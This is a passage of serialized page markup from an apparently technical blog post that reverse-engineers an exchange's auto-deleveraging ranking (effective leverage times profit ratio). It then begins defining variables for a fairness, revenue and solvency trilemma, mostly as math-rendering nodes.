"props":162001,"children":162003},{"className":162002,"style":2439},[316],[162004],{"type":22,"tag":264,"props":162005,"children":162006},{},[],{"type":22,"tag":264,"props":162008,"children":162010},{"className":162009},[415,295],[],{"type":22,"tag":23,"props":162012,"children":162013},{},[162014,162016,162022],{"type":27,"value":162015},"It uses entry notional (",{"type":22,"tag":257,"props":162017,"children":162019},{"className":162018},[],[162020],{"type":27,"value":162021},"r14_2",{"type":27,"value":162023},") as the divisor. PNL is clamped to non-negative before division.",{"type":22,"tag":23,"props":162025,"children":162026},{},[162027],{"type":27,"value":162028},"This basically tells us how well the user's bet went.",{"type":22,"tag":160343,"props":162030,"children":162034},{"addr":162031,"addr-start":162032,"addr-end":162033},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":22,"tag":23,"props":162036,"children":162037},{},[162038,162040,162046,162048,162054],{"type":27,"value":162039},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":22,"tag":257,"props":162041,"children":162043},{"className":162042},[],[162044],{"type":27,"value":162045},"1e-8",{"type":27,"value":162047},", in order not to cancel each other out. The final ADL ranking score is ",{"type":22,"tag":257,"props":162049,"children":162051},{"className":162050},[],[162052],{"type":27,"value":162053},"effective_leverage * profit_ratio",{"type":27,"value":162055},", consistent with both ratio directions and the max clamp on PNL.",{"type":22,"tag":23,"props":162057,"children":162058},{},[162059],{"type":27,"value":162060},"So, in essence, we look for risky and profitable positions!",{"type":22,"tag":181,"props":162062,"children":162064},{"id":162063},"partial-and-total-adl",[162065],{"type":27,"value":162066},"Partial and Total ADL",{"type":22,"tag":23,"props":162068,"children":162069},{},[162070],{"type":27,"value":162071},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":22,"tag":23,"props":162073,"children":162074},{},[162075],{"type":27,"value":162076},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":22,"tag":23,"props":162078,"children":162079},{},[162080,162082,162087],{"type":27,"value":162081},"So essentially, in pseudocode, the whole latter part of ",{"type":22,"tag":257,"props":162083,"children":162085},{"className":162084},[],[162086],{"type":27,"value":160663},{"type":27,"value":162088}," boils down to:",{"type":22,"tag":160343,"props":162090,"children":162093},{"addr":160709,"line-start":162091,"line-end":162092},"3252","3632",[],{"type":22,"tag":23,"props":162095,"children":162096},{},[162097],{"type":27,"value":162098},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":22,"tag":36687,"props":162100,"children":162102},{"id":162101},"branches",[162103],{"type":27,"value":162104},"Branches",{"type":22,"tag":23,"props":162106,"children":162107},{},[162108],{"type":27,"value":162109},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":22,"tag":23,"props":162111,"children":162112},{},[162113],{"type":27,"value":162114},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":22,"tag":36687,"props":162116,"children":162118},{"id":162117},"financial-conclusions",[162119],{"type":27,"value":162120},"Financial Conclusions",{"type":22,"tag":169,"props":162122,"children":162124},{"id":162123},"fairness-revenue-solvency-trilemma",[162125],{"type":27,"value":162126},"Fairness, Revenue, Solvency Trilemma",{"type":22,"tag":23,"props":162128,"children":162129},{},[162130,162132,162138],{"type":27,"value":162131},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":22,"tag":69,"props":162133,"children":162135},{"href":161491,"rel":162134},[73],[162136],{"type":27,"value":162137},"the paper mentioned before",{"type":27,"value":162139},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":22,"tag":17988,"props":162141,"children":162142},{},[162143,162153,162163],{"type":22,"tag":1871,"props":162144,"children":162145},{},[162146,162151],{"type":22,"tag":1699,"props":162147,"children":162148},{},[162149],{"type":27,"value":162150},"Solvency",{"type":27,"value":162152},": can the platform pay every trader out?",{"type":22,"tag":1871,"props":162154,"children":162155},{},[162156,162161],{"type":22,"tag":1699,"props":162157,"children":162158},{},[162159],{"type":27,"value":162160},"Fairness",{"type":27,"value":162162},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":22,"tag":1871,"props":162164,"children":162165},{},[162166,162171],{"type":22,"tag":1699,"props":162167,"children":162168},{},[162169],{"type":27,"value":162170},"Revenue",{"type":27,"value":162172},": the fraction of total winner PNL that survives after deleveraging.",{"type":22,"tag":23,"props":162174,"children":162175},{},[162176],{"type":27,"value":162177},"Let's borrow these definitions from the paper:",{"type":22,"tag":618,"props":162179,"children":162180},{},[162181],{"type":22,"tag":257,"props":162182,"children":162184},{"className":162183},[260,624],[162185],{"type":22,"tag":264,"props":162186,"children":162188},{"className":162187},[629],[162189],{"type":22,"tag":264,"props":162190,"children":162192},{"className":162191},[267],[162193],{"type":22,"tag":264,"props":162194,"children":162196},{"className":162195,"ariaHidden":273},[272],[162197],{"type":22,"tag":264,"props":162198,"children":162200},{"className":162199},[278],[162201,162206],{"type":22,"tag":264,"props":162202,"children":162205},{"className":162203,"style":162204},[283],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":22,"tag":264,"props":162207,"children":162209},{"className":162208},[289],[162210],{"type":22,"tag":264,"props":162211,"children":162213},{"className":162212},[161068],[162214,163033],{"type":22,"tag":264,"props":162215,"children":162217},{"className":162216},[161073],[162218],{"type":22,"tag":264,"props":162219,"children":162221},{"className":162220},[305,306],[162222,163021],{"type":22,"tag":264,"props":162223,"children":162225},{"className":162224},[311],[162226,163016],{"type":22,"tag":264,"props":162227,"children":162230},{"className":162228,"style":162229},[316],"height:11.8392em;",[162231,162302,162319,162388,162458,162527,162597,162666,162735,162804,162874,162945],{"type":22,"tag":264,"props":162232,"children":162234},{"style":162233},"top:-14.3707em;",[162235,162240],{"type":22,"tag":264,"props":162236,"children":162239},{"className":162237,"style":162238},[326],"height:3.3714em;",[],{"type":22,"tag":264,"props":162241,"children":162243},{"className":162242},[289],[162244],{"type":22,"tag":264,"props":162245,"children":162247},{"className":162246},[289],[162248,162253],{"type":22,"tag":264,"props":162249,"children":162251},{"className":162250,"style":22894},[289,2178],[162252],{"type":27,"value":22897},{"type":22,"tag":264,"props":162254,"children":162256},{"className":162255},[2147],[162257],{"type":22,"tag":264,"props":162258,"children":162260},{"className":162259},[305,306],[162261,162291],{"type":22,"tag":264,"props":162262,"children":162264},{"className":162263},[311],[162265,162286],{"type":22,"tag":264,"props":162266,"children":162268},{"className":162267,"style":2690},[316],[162269],{"type":22,"tag":264,"props":162270,"children":162272},{"style":162271},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[162273,162277],{"type":22,"tag":264,"props":162274,"children":162276},{"className":162275,"style":2169},[326],[],{"type":22,"tag":264,"props":162278,"children":162280},{"className":162279},[332,333,334,335],[162281],{"type":22,"tag":264,"props":162282,"children":162284},{"className":162283},[289,2178,335],[162285],{"type":27,"value":57724},{"type":22,"tag":264,"props":162287,"children":162289},{"className":162288},[396],[162290],{"type":27,"value":399},{"type":22,"tag":264,"props":162292,"children":162294},{"className":162293},[311],[162295],{"type":22,"tag":264,"props":162296,"children":162298},{"className":162297,"style":2721},[316],[162299],{"type":22,"tag":264,"props":162300,"children":162301},{},[],{"type":22,"tag":264,"props":162303,"children":162305},{"style":162304},"top:-12.8707em;",[162306,162310],{"type":22,"tag":264,"props":162307,"children":162309},{"className":162308,"style":162238},[326],[],{"type":22,"tag":264,"props":162311,"children":162313},{"className":162312},[289],[162314],{"type":22,"tag":264,"props":162315,"children":162317},{"className":162316,"style":96388},[289,2178],[162318],{"type":27,"value":96422},{"type":22,"tag":264,"props":162320,"children":162322},{"style":162321},"top:-10.8392em;",[162323,162327],{"type":22,"tag":264,"props":162324,"children":162326},{"className":162325,"style":162238},[326],[],{"type":22,"tag":264,"props":162328,"children":162330},{"className":162329},[289],[162331],{"type":22,"tag":264,"props":162332,"children":162334},{"className":162333},[289],[162335,162340],{"type":22,"tag":264,"props":162336,"children":162338},{"className":162337},[289,2178],[162339],{"type":27,"value":4449},{"type":22,"tag":264,"props":162341,"children":162343},{"className":162342},[2147],[162344],{"type":22,"tag":264,"props":162345,"children":162347},{"className":162346},[305,306],[162348,162377],{"type":22,"tag":264,"props":162349,"children":162351},{"className":162350},[311],[162352,162372],{"type":22,"tag":264,"props":162353,"children":162355},{"className":162354,"style":94898},[316],[162356],{"type":22,"tag":264,"props":162357,"children":162358},{"style":94426},[162359,162363],{"type":22,"tag":264,"props":162360,"children":162362},{"className":162361,"style":2169},[326],[],{"type":22,"tag":264,"props":162364,"children":162366},{"className":162365},[332,333,334,335],[162367],{"type":22,"tag":264,"props":162368,"children":162370},{"className":162369},[289,2178,335],[162371],{"type":27,"value":5050},{"type":22,"tag":264,"props":162373,"children":162375},{"className":162374},[396],[162376],{"type":27,"value":399},{"type":22,"tag":264,"props":162378,"children":162380},{"className":162379},[311],[162381],{"type":22,"tag":264,"props":162382,"children":162384},{"className":162383,"style":2721},[316],[162385],{"type":22,"tag":264,"props":162386,"children":162387},{},[],{"type":22,"tag":264,"props":162389,"children":162391},{"style":162390},"top:-8.8188em;",[162392,162396],{"type":22,"tag":264,"props":162393,"children":162395},{"className":162394,"style":162238},[326],[],{"type":22,"tag":264,"props":162397,"children":162399},{"className":162398},[289],[162400],{"type":22,"tag":264,"props":162401,"children":162403},{"className":162402},[289],[162404,162410],{"type":22,"tag":264,"props":162405,"children":162407},{"className":162406,"style":94855},[289,2178],[162408],{"type":27,"value":162409},"π",{"type":22,"tag":264,"props":162411,"children":162413},{"className":162412},[2147],[162414],{"type":22,"tag":264,"props":162415,"children":162417},{"className":162416},[305,306],[162418,162447],{"type":22,"tag":264,"props":162419,"children":162421},{"className":162420},[311],[162422,162442],{"type":22,"tag":264,"props":162423,"children":162425},{"className":162424,"style":94898},[316],[162426],{"type":22,"tag":264,"props":162427,"children":162428},{"style":94902},[162429,162433],{"type":22,"tag":264,"props":162430,"children":162432},{"className":162431,"style":2169},[326],[],{"type":22,"tag":264,"props":162434,"children":162436},{"className":162435},[332,333,334,335],[162437],{"type":22,"tag":264,"props":162438,"children":162440},{"className":162439},[289,2178,335],[162441],{"type":27,"value":5050},{"type":22,"tag":264,"props":162443,"children":162445},{"className":162444},[396],[162446],{"type":27,"value":399},{"type":22,"tag":264,"props":162448,"children":162450},{"className":162449},[311],[162451],{"type":22,"tag":264,"props":162452,"children":162454},{"className":162453,"style":2721},[316],[162455],{"type":22,"tag":264,"props":162456,"children":162457},{},[],{"type":22,"tag":264,"props":162459,"children":162461},{"style":162460},"top:-7.3188em;",[162462,162466],{"type":22,"tag":264,"props":162463,"children":162465},{"className":162464,"style":162238},[326],[],{"type":22,"tag":264,"props":162467,"children":162469},{"className":162468},[289],[162470],{"type":22,"tag":264,"props":162471,"children":162473},{"className":162472},[289],[162474,162479],{"type":22,"tag":264,"props":162475,"children":162477},{"className":162476},[289,2178],[162478],{"type":27,"value":52775},{"type":22,"tag":264,"props":162480,"children":162482},{"className":162481},[2147],[162483],{"type":22,"tag":264,"props":162484,"children":162486},{"className":162485},[305,306],[162487,162516],{"type":22,"tag":264,"props":162488,"children":162490},{"className":162489},[311],[162491,162511],{"type":22,"tag":264,"props":162492,"children":162494},{"className":162493,"style":94898},[316],[162495],{"type":22,"tag":264,"props":162496,"children":162497},{"style":94426},[162498,162502],{"type":22,"tag":264,"props":162499,"children":162501},{"className":162500,"style":2169},[326],[],{"type":22,"tag":264,"props":162503,"children":162505},{"className":162504},[332,333,334,335],[162506],{"type":22,"tag":264,"props":162507,"children":162509},{"className":162508},[289,2178,335],[162510],{"type":27,"value":5050},{"type":22,"tag":264,"props":162512,"children":162514},{"className":162513},[396],[162515],{"type":27,"value":399},{"type":22,"tag":264,"props":162517,"children":162519},{"className":162518},[311],[162520],{"type":22,"tag":264,"props":162521,"children":162523},{"className":162522,"style":2721},[316],[162524],{"type":22,"tag":264,"props":162525,"children":162526},{},[],{"type":22,"tag":264,"props":162528,"children":162530},{"style":162529},"top:-5.8188em;",[162531,162535],{"type":22,"tag":264,"props":162532,"children":162534},{"className":162533,"style":162238},[326],[],{"type":22,"tag":264,"props":162536,"children":162538},{"className":162537},[289],[162539],{"type":22,"tag":264,"props":162540,"children":162542},{"className":162541},[289],[162543,162548],{"type":22,"tag":264,"props":162544,"children":162546},{"className":162545,"style":123632},[289,2178],[162547],{"type":27,"value":50892},{"type":22,"tag":264,"props":162549,"children":162551},{"className":162550},[2147],[162552],{"type":22,"tag":264,"props":162553,"children":162555},{"className":162554},[305,306],[162556,162586],{"type":22,"tag":264,"props":162557,"children":162559},{"className":162558},[311],[162560,162581],{"type":22,"tag":264,"props":162561,"children":162563},{"className":162562,"style":94898},[316],[162564],{"type":22,"tag":264,"props":162565,"children":162567},{"style":162566},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[162568,162572],{"type":22,"tag":264,"props":162569,"children":162571},{"className":162570,"style":2169},[326],[],{"type":22,"tag":264,"props":162573,"children":162575},{"className":162574},[332,333,334,335],[162576],{"type":22,"tag":264,"props":162577,"children":162579},{"className":162578},[289,2178,335],[162580],{"type":27,"value":5050},{"type":22,"tag":264,"props":162582,"children":162584},{"className":162583},[396],[162585],{"type":27,"value":399},{"type":22,"tag":264,"props":162587,"children":162589},{"className":162588},[311],[162590],{"type":22,"tag":264,"props":162591,"children":162593},{"className":162592,"style":2721},[316],[162594],{"type":22,"tag":264,"props":162595,"children":162596},{},[],{"type":22,"tag":264,"props":162598,"children":162600},{"style":162599},"top:-4.3188em;",[162601,162605],{"type":22,"tag":264,"props":162602,"children":162604},{"className":162603,"style":162238},[326],[],{"type":22,"tag":264,"props":162606,"children":162608},{"className":162607},[289],[162609],{"type":22,"tag":264,"props":162610,"children":162612},{"className":162611},[289],[162613,162618],{"type":22,"tag":264,"props":162614,"children":162616},{"className":162615},[289,2178],[162617],{"type":27,"value":20581},{"type":22,"tag":264,"props":162619,"children":162621},{"className":162620},[2147],[162622],{"type":22,"tag":264,"props":162623,"children":162625},{"className":162624},[305,306],[162626,162655],{"type":22,"tag":264,"props":162627,"children":162629},{"className":162628},[311],[162630,162650],{"type":22,"tag":264,"props":162631,"children":162633},{"className":162632,"style":94898},[316],[162634],{"type":22,"tag":264,"props":162635,"children":162636},{"style":94426},[162637,162641],{"type":22,"tag":264,"props":162638,"children":162640},{"className":162639,"style":2169},[326],[],{"type":22,"tag":264,"props":162642,"children":162644},{"className":162643},[332,333,334,335],[162645],{"type":22,"tag":264,"props":162646,"children":162648},{"className":162647},[289,2178,335],[162649],{"type":27,"value":5050},{"type":22,"tag":264,"props":162651,"children":162653},{"className":162652},[396],[162654],{"type":27,"value":399},{"type":22,"tag":264,"props":162656,"children":162658},{"className":162657},[311],[162659],{"type":22,"tag":264,"props":162660,"children":162662},{"className":162661,"style":2721},[316],[162663],{"type":22,"tag":264,"props":162664,"children":162665},{},[],{"type":22,"tag":264,"props":162667,"children":162669},{"style":162668},"top:-2.5512em;",[162670,162674],{"type":22,"tag":264,"props":162671,"children":162673},{"className":162672,"style":162238},[326],[],{"type":22,"tag":264,"props":162675,"children":162677},{"className":162676},[289],[162678],{"type":22,"tag":264,"props":162679,"children":162681},{"className":162680},[289],[162682,162687],{"type":22,"tag":264,"props":162683,"children":162685},{"className":162684},[289,2178],[162686],{"type":27,"value":85670},{"type":22,"tag":264,"props":162688,"children":162690},{"className":162689},[2147],[162691],{"type":22,"tag":264,"props":162692,"children":162694},{"className":162693},[305,306],[162695,162724],{"type":22,"tag":264,"props":162696,"children":162698},{"className":162697},[311],[162699,162719],{"type":22,"tag":264,"props":162700,"children":162702},{"className":162701,"style":94898},[316],[162703],{"type":22,"tag":264,"props":162704,"children":162705},{"style":94426},[162706,162710],{"type":22,"tag":264,"props":162707,"children":162709},{"className":162708,"style":2169},[326],[],{"type":22,"tag":264,"props":162711,"children":162713},{"className":162712},[332,333,334,335],[162714],{"type":22,"tag":264,"props":162715,"children":162717},{"className":162716},[289,2178,335],[162718],{"type":27,"value":5050},{"type":22,"tag":264,"props":162720,"children":162722},{"className":162721},[396],[162723],{"type":27,"value":399},{"type":22,"tag":264,"props":162725,"children":162727},{"className":162726},[311],[162728],{"type":22,"tag":264,"props":162729,"children":162731},{"className":162730,"style":2721},[316],[162732],{"type":22,"tag":264,"props":162733,"children":162734},{},[],{"type":22,"tag":264,"props":162736,"children":162738},{"style":162737},"top:-0.3652em;",[162739,162743],{"type":22,"tag":264,"props":162740,"children":162742},{"className":162741,"style":162238},[326],[],{"type":22,"tag":264,"props":162744,"children":162746},{"className":162745},[289],[162747],{"type":22,"tag":264,"props":162748,"children":162750},{"className":162749},[289],[162751,162756],{"type":22,"tag":264,"props":162752,"children":162754},{"className":162753,"style":94603},[289,2178],[162755],{"type":27,"value":94606},{"type":22,"tag":264,"props":162757,"children":162759},{"className":162758},[2147],[162760],{"type":22,"tag":264,"props":162761,"children":162763},{"className":162762},[305,306],[162764,162793],{"type":22,"tag":264,"props":162765,"children":162767},{"className":162766},[311],[162768,162788],{"type":22,"tag":264,"props":162769,"children":162771},{"className":162770,"style":143900},[316],[162772],{"type":22,"tag":264,"props":162773,"children":162774},{"style":111796},[162775,162779],{"type":22,"tag":264,"props":162776,"children":162778},{"className":162777,"style":2169},[326],[],{"type":22,"tag":264,"props":162780,"children":162782},{"className":162781},[332,333,334,335],[162783],{"type":22,"tag":264,"props":162784,"children":162786},{"className":162785,"style":22894},[289,2178,335],[162787],{"type":27,"value":7279},{"type":22,"tag":264,"props":162789,"children":162791},{"className":162790},[396],[162792],{"type":27,"value":399},{"type":22,"tag":264,"props":162794,"children":162796},{"className":162795},[311],[162797],{"type":22,"tag":264,"props":162798,"children":162800},{"className":162799,"style":2721},[316],[162801],{"type":22,"tag":264,"props":162802,"children":162803},{},[],{"type":22,"tag":264,"props":162805,"children":162807},{"style":162806},"top:2.2624em;",[162808,162812],{"type":22,"tag":264,"props":162809,"children":162811},{"className":162810,"style":162238},[326],[],{"type":22,"tag":264,"props":162813,"children":162815},{"className":162814},[289],[162816],{"type":22,"tag":264,"props":162817,"children":162819},{"className":162818},[289],[162820,162826],{"type":22,"tag":264,"props":162821,"children":162823},{"className":162822,"style":94370},[289,2178],[162824],{"type":27,"value":162825},"D",{"type":22,"tag":264,"props":162827,"children":162829},{"className":162828},[2147],[162830],{"type":22,"tag":264,"props":162831,"children":162833},{"className":162832},[305,306],[162834,162863],{"type":22,"tag":264,"props":162835,"children":162837},{"className":162836},[311],[162838,162858],{"type":22,"tag":264,"props":162839,"children":162841},{"className":162840,"style":143900},[316],[162842],{"type":22,"tag":264,"props":162843,"children":162844},{"style":111366},[162845,162849],{"type":22,"tag":264,"props":162846,"children":162848},{"className":162847,"style":2169},[326],[],{"type":22,"tag":264,"props":162850,"children":162852},{"className":162851},[332,333,334,335],[162853],{"type":22,"tag":264,"props":162854,"children":162856},{"className":162855,"style":22894},[289,2178,335],[162857],{"type":27,"value":7279},{"type":22,"tag":264,"props":162859,"children":162861},{"className":162860},[396],[162862],{"type":27,"value":399},{"type":22,"tag":264,"props":162864,"children":162866},{"className":162865},[311],[162867],{"type":22,"tag":264,"props":162868,"children":162870},{"className":162869,"style":2721},[316],[162871],{"type":22,"tag":264,"props":162872,"children":162873},{},[],{"type":22,"tag":264,"props":162875,"children":162877},{"style":162876},"top:4.8901em;",[162878,162882],{"type":22,"tag":264,"props":162879,"children":162881},{"className":162880,"style":162238},[326],[],{"type":22,"tag":264,"props":162883,"children":162885},{"className":162884},[289],[162886],{"type":22,"tag":264,"props":162887,"children":162889},{"className":162888},[289],[162890,162896],{"type":22,"tag":264,"props":162891,"children":162893},{"className":162892,"style":96376},[289,2178],[162894],{"type":27,"value":162895},"U",{"type":22,"tag":264,"props":162897,"children":162899},{"className":162898},[2147],[162900],{"type":22,"tag":264,"props":162901,"children":162903},{"className":162902},[305,306],[162904,162934],{"type":22,"tag":264,"props":162905,"children":162907},{"className":162906},[311],[162908,162929],{"type":22,"tag":264,"props":162909,"children":162911},{"className":162910,"style":143900},[316],[162912],{"type":22,"tag":264,"props":162913,"children":162915},{"style":162914},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[162916,162920],{"type":22,"tag":264,"props":162917,"children":162919},{"className":162918,"style":2169},[326],[],{"type":22,"tag":264,"props":162921,"children":162923},{"className":162922},[332,333,334,335],[162924],{"type":22,"tag":264,"props":162925,"children":162927},{"className":162926,"style":22894},[289,2178,335],[162928],{"type":27,"value":7279},{"type":22,"tag":264,"props":162930,"children":162932},{"className":162931},[396],[162933],{"type":27,"value":399},{"type":22,"tag":264,"props":162935,"children":162937},{"className":162936},[311],[162938],{"type":22,"tag":264,"props":162939,"children":162941},{"className":162940,"style":2721},[316],[162942],{"type":22,"tag":264,"props":162943,"children":162944},{},[],{"type":22,"tag":264,"props":162946,"children":162948},{"style":162947},"top:7.3078em;",[162949,162953],{"type":22,"tag":264,"props":162950,"children":162952},{"className":162951,"style":162238},[326],[],{"type":22,"tag":264,"props":162954,"children":162956},{"className":162955},[289],[162957],{"type":22,"tag":264,"props":162958,"children":162960},{"className":162959},[289],[162961,162966],{"type":22,"tag":264,"props":162962,"children":162964},{"className":162963,"style":124129},[289,2178],[162965],{"type":27,"value":124132},{"type":22,"tag":264,"props":162967,"children":162969},{"className":162968},[2147],[162970],{"type":22,"tag":264,"props":162971,"children":162973},{"className":162972},[305,306],[162974,163005],{"type":22,"tag":264,"props":162975,"children":162977},{"className":162976},[311],[162978,163000],{"type":22,"tag":264,"props":162979,"children":162982},{"className":162980,"style":162981},[316],"height:0.2806em;",[162983],{"type":22,"tag":264,"props":162984,"children":162986},{"style":162985},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[162987,162991],{"type":22,"tag":264,"props":162988,"children":162990},{"className":162989,"style":2169},[326],[],{"type":22,"tag":264,"props":162992,"children":162994},{"className":162993},[332,333,334,335],[162995],{"type":22,"tag":264,"props":162996,"children":162998},{"className":162997},[289,2178,335],[162999],{"type":27,"value":23033},{"type":22,"tag":264,"props":163001,"children":163003},{"className":163002},[396],[163004],{"type":27,"value":399},{"type":22,"tag":264,"props":163006,"children":163008},{"className":163007},[311],[163009],{"type":22,"tag":264,"props":163010,"children":163012},{"className":163011,"style":2721},[316],[163013],{"type":22,"tag":264,"props":163014,"children":163015},{},[],{"type":22,"tag":264,"props":163017,"children":163019},{"className":163018},[396],[163020],{"type":27,"value":399},{"type":22,"tag":264,"props":163022,"children":163024},{"className":163023},[311],[163025],{"type":22,"tag":264,"props":163026,"children":163029},{"className":163027,"style":163028},[316],"height:11.3392em;",[163030],{"type":22,"tag":264,"props":163031,"children":163032},{},[],{"type":22,"tag":264,"props":163034,"children":163036},{"className":163035},[161153],[163037],{"type":22,"tag":264,"props":163038,"children":163040},{"className":163039},[305,306],[163041,164743],{"type":22,"tag":264,"props":163042,"children":163044},{"className":163043},[311],[163045,164738],{"type":22,"tag":264,"props":163046,"children":163048},{"className":163047,"style":162229},[316],[163049,163087,163125,163272,163507,163662,163767,163810,164031,164190,164380,164532],{"type":22,"tag":264,"props":163050,"children":163051},{"style":162233},[163052,163056],{"type":22,"tag":264,"props":163053,"children":163055},{"className":163054,"style":162238},[326],[],{"type":22,"tag":264,"props":163057,"children":163059},{"className":163058},[289],[163060,163064,163068,163073,163077],{"type":22,"tag":264,"props":163061,"children":163063},{"className":163062},[289],[],{"type":22,"tag":264,"props":163065,"children":163067},{"className":163066,"style":421},[420],[],{"type":22,"tag":264,"props":163069,"children":163071},{"className":163070},[426],[163072],{"type":27,"value":22912},{"type":22,"tag":264,"props":163074,"children":163076},{"className":163075,"style":421},[420],[],{"type":22,"tag":264,"props":163078,"children":163080},{"className":163079},[289,27],[163081],{"type":22,"tag":264,"props":163082,"children":163084},{"className":163083},[289],[163085],{"type":27,"value":163086},"mark price",{"type":22,"tag":264,"props":163088,"children":163089},{"style":162304},[163090,163094],{"type":22,"tag":264,"props":163091,"children":163093},{"className":163092,"style":162238},[326],[],{"type":22,"tag":264,"props":163095,"children":163097},{"className":163096},[289],[163098,163102,163106,163111,163115],{"type":22,"tag":264,"props":163099,"children":163101},{"className":163100},[289],[],{"type":22,"tag":264,"props":163103,"children":163105},{"className":163104,"style":421},[420],[],{"type":22,"tag":264,"props":163107,"children":163109},{"className":163108},[426],[163110],{"type":27,"value":22912},{"type":22,"tag":264,"props":163112,"children":163114},{"className":163113,"style":421},[420],[],{"type":22,"tag":264,"props":163116,"children":163118},{"className":163117},[289,27],[163119],{"type":22,"tag":264,"props":163120,"children":163122},{"className":163121},[289],[163123],{"type":27,"value":163124},"insurance fund",{"type":22,"tag":264,"props":163126,"children":163127},{"style":162321},[163128,163132],{"type":22,"tag":264,"props":163129,"children":163131},{"className":163130,"style":162238},[326],[],{"type":22,"tag":264,"props":163133,"children":163135},{"className":163134},[289],[163136,163140,163144,163149,163153,163163,163167,163172,163176],{"type":22,"tag":264,"props":163137,"children":163139},{"className":163138},[289],[],{"type":22,"tag":264,"props":163141,"children":163143},{"className":163142,"style":421},[420],[],{"type":22,"tag":264,"props":163145,"children":163147},{"className":163146},[426],[163148],{"type":27,"value":22912},{"type":22,"tag":264,"props":163150,"children":163152},{"className":163151,"style":421},[420],[],{"type":22,"tag":264,"props":163154,"children":163156},{"className":163155},[289,27],[163157],{"type":22,"tag":264,"props":163158,"children":163160},{"className":163159},[289],[163161],{"type":27,"value":163162},"collateral",{"type":22,"tag":264,"props":163164,"children":163166},{"className":163165,"style":421},[420],[],{"type":22,"tag":264,"props":163168,"children":163170},{"className":163169},[426],[163171],{"type":27,"value":429},{"type":22,"tag":264,"props":163173,"children":163175},{"className":163174,"style":421},[420],[],{"type":22,"tag":264,"props":163177,"children":163179},{"className":163178},[289],[163180,163184,163268],{"type":22,"tag":264,"props":163181,"children":163183},{"className":163182},[294,295],[],{"type":22,"tag":264,"props":163185,"children":163187},{"className":163186},[300],[163188],{"type":22,"tag":264,"props":163189,"children":163191},{"className":163190},[305,306],[163192,163257],{"type":22,"tag":264,"props":163193,"children":163195},{"className":163194},[311],[163196,163252],{"type":22,"tag":264,"props":163197,"children":163200},{"className":163198,"style":163199},[316],"height:1.3714em;",[163201,163221,163232],{"type":22,"tag":264,"props":163202,"children":163203},{"style":1030},[163204,163208],{"type":22,"tag":264,"props":163205,"children":163207},{"className":163206,"style":327},[326],[],{"type":22,"tag":264,"props":163209,"children":163211},{"className":163210},[289],[163212],{"type":22,"tag":264,"props":163213,"children":163215},{"className":163214},[289,27],[163216],{"type":22,"tag":264,"props":163217,"children":163219},{"className":163218},[289],[163220],{"type":27,"value":160487},{"type":22,"tag":264,"props":163222,"children":163223},{"style":349},[163224,163228],{"type":22,"tag":264,"props":163225,"children":163227},{"className":163226,"style":327},[326],[],{"type":22,"tag":264,"props":163229,"children":163231},{"className":163230,"style":359},[358],[],{"type":22,"tag":264,"props":163233,"children":163234},{"style":1058},[163235,163239],{"type":22,"tag":264,"props":163236,"children":163238},{"className":163237,"style":327},[326],[],{"type":22,"tag":264,"props":163240,"children":163242},{"className":163241},[289],[163243],{"type":22,"tag":264,"props":163244,"children":163246},{"className":163245},[289,27],[163247],{"type":22,"tag":264,"props":163248,"children":163250},{"className":163249},[289],[163251],{"type":27,"value":160525},{"type":22,"tag":264,"props":163253,"children":163255},{"className":163254},[396],[163256],{"type":27,"value":399},{"type":22,"tag":264,"props":163258,"children":163260},{"className":163259},[311],[163261],{"type":22,"tag":264,"props":163262,"children":163264},{"className":163263,"style":2439},[316],[163265],{"type":22,"tag":264,"props":163266,"children":163267},{},[],{"type":22,"tag":264,"props":163269,"children":163271},{"className":163270},[415,295],[],{"type":22,"tag":264,"props":163273,"children":163274},{"style":162390},[163275,163279],{"type":22,"tag":264,"props":163276,"children":163278},{"className":163277,"style":162238},[326],[],{"type":22,"tag":264,"props":163280,"children":163282},{"className":163281},[289],[163283,163287,163291,163296,163300,163357,163361,163366,163370,163375,163432,163436,163441,163445,163502],{"type":22,"tag":264,"props":163284,"children":163286},{"className":163285},[289],[],{"type":22,"tag":264,"props":163288,"children":163290},{"className":163289,"style":421},[420],[],{"type":22,"tag":264,"props":163292,"children":163294},{"className":163293},[426],[163295],{"type":27,"value":429},{"type":22,"tag":264,"props":163297,"children":163299},{"className":163298,"style":421},[420],[],{"type":22,"tag":264,"props":163301,"children":163303},{"className":163302},[289],[163304,163309],{"type":22,"tag":264,"props":163305,"children":163307},{"className":163306},[289,2178],[163308],{"type":27,"value":11950},{"type":22,"tag":264,"props":163310,"children":163312},{"className":163311},[2147],[163313],{"type":22,"tag":264,"props":163314,"children":163316},{"className":163315},[305,306],[163317,163346],{"type":22,"tag":264,"props":163318,"children":163320},{"className":163319},[311],[163321,163341],{"type":22,"tag":264,"props":163322,"children":163324},{"className":163323,"style":94898},[316],[163325],{"type":22,"tag":264,"props":163326,"children":163327},{"style":94426},[163328,163332],{"type":22,"tag":264,"props":163329,"children":163331},{"className":163330,"style":2169},[326],[],{"type":22,"tag":264,"props":163333,"children":163335},{"className":163334},[332,333,334,335],[163336],{"type":22,"tag":264,"props":163337,"children":163339},{"className":163338},[289,2178,335],[163340],{"type":27,"value":5050},{"type":22,"tag":264,"props":163342,"children":163344},{"className":163343},[396],[163345],{"type":27,"value":399},{"type":22,"tag":264,"props":163347,"children":163349},{"className":163348},[311],[163350],{"type":22,"tag":264,"props":163351,"children":163353},{"className":163352,"style":2721},[316],[163354],{"type":22,"tag":264,"props":163355,"children":163356},{},[],{"type":22,"tag":264,"props":163358,"children":163360},{"className":163359,"style":665},[420],[],{"type":22,"tag":264,"props":163362,"children":163364},{"className":163363},[670],[163365],{"type":27,"value":112629},{"type":22,"tag":264,"props":163367,"children":163369},{"className":163368,"style":665},[420],[],{